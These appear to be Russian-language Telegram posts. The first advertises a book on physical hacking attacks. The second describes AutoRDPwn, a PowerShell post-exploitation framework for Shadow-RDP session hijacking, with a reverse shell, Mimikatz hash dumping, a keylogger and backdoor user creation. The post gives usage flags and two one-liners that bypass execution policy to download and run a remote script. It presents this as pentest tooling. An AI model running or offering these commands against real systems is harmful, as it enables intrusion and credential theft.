Книга Хакерство. Физические атаки с использованием хакерских устройств
Издание: 2023
Язык: русский

Сейчас приехала книга "Хакерство. Физические атаки с использованием хакерских устройств" авторства @s0i37. Он написал целую книгу по физическому пентесту с помощью технических средств, так что её можно считать выжимкой из все его опыта опыта! Кстати книга цветная, так что +10 к читабельности.

В книге описано множество атак, которые могут быть совершены с использованием популярных беспроводных технологий и устройств, собранных самостоятельно из общедоступных недорогих деталей, а также показаны способы защиты от них Одни атаки потребуют физического присутствия, другие могут быть проведены на расстоянии. Многие из них потребуют времени, а некоторые позволяют взломать компьютер за секунду.

Не откладывайте покупку на потом! Тем более цена более чем адекватная, я бы даже сказал не существенная.

P.S. предвижу холивары на тему, "где электронная версия?" В ближайшее время её ждать не стоит, т.к. это требование издательства, а не автора.

#book

💬 Канал | 💬 Канал автора книги

🔴 AutoRDPwn

Это powershell фреймворк для постэксплуатации, предназначенный в первую очередь для автоматизации Shadow-RDP атаки на компьютеры под управлением Microsoft Windows. Данная уязвимость позволяет удаленному злоумышленнику просматривать сессию своей жертвы без ее ведома и даже управлять удаленно.
Благодаря дополнительным модулям можно получить удаленный shell через Netcat, сдампить хэши с помощью Mimikatz, загрузить удаленный кейлоггер и многое другое. И все это с помощью интуитивно понятного меню.
Эта тулза может использоваться локально, удаленно или для pivoting'а между серверами.

На системе должен быть PowerShell 4.0+

⬇️Использование:

-admin / -noadmin

— явное указание прав доступа для запуска атак;

-nogui

— отключает загрузку меню и некоторых цветов, дабы гарантировать общую работоспособность;

-lang

— выбор языка интерфейса. [English, Spanish, French, German, Italian, Russian or Portuguese];

-option

— выбор типа атаки;

-shadow

— выбираем следить или контролировать удаленную машину;

-createuser

— не обязательный параметр, который позволяет создаст пользователя AutoRDPwn:AutoRDPwn на атакуемой машине;

-noclean

- не обязательный параметр, который отключит автоматический откат параметров после окончания атаки

Дефолтый запуск:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"

Запуск сразу с параметрами:

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -admin -nogui -lang English -option 4 -shadow control -createuser"

📌Как итог, данный скрипт отлично подойдёт для этапа распространения по сети заказчика во время пентеста. Также он является неплохой автоматизацией, потому что ShadowRDP атаку через реестр WIndows проводить руками немного геморно. + автор скрипта добавил некоторые атаки на AD.

#windows #pentest #powershell

💬 Канал | 💻 Github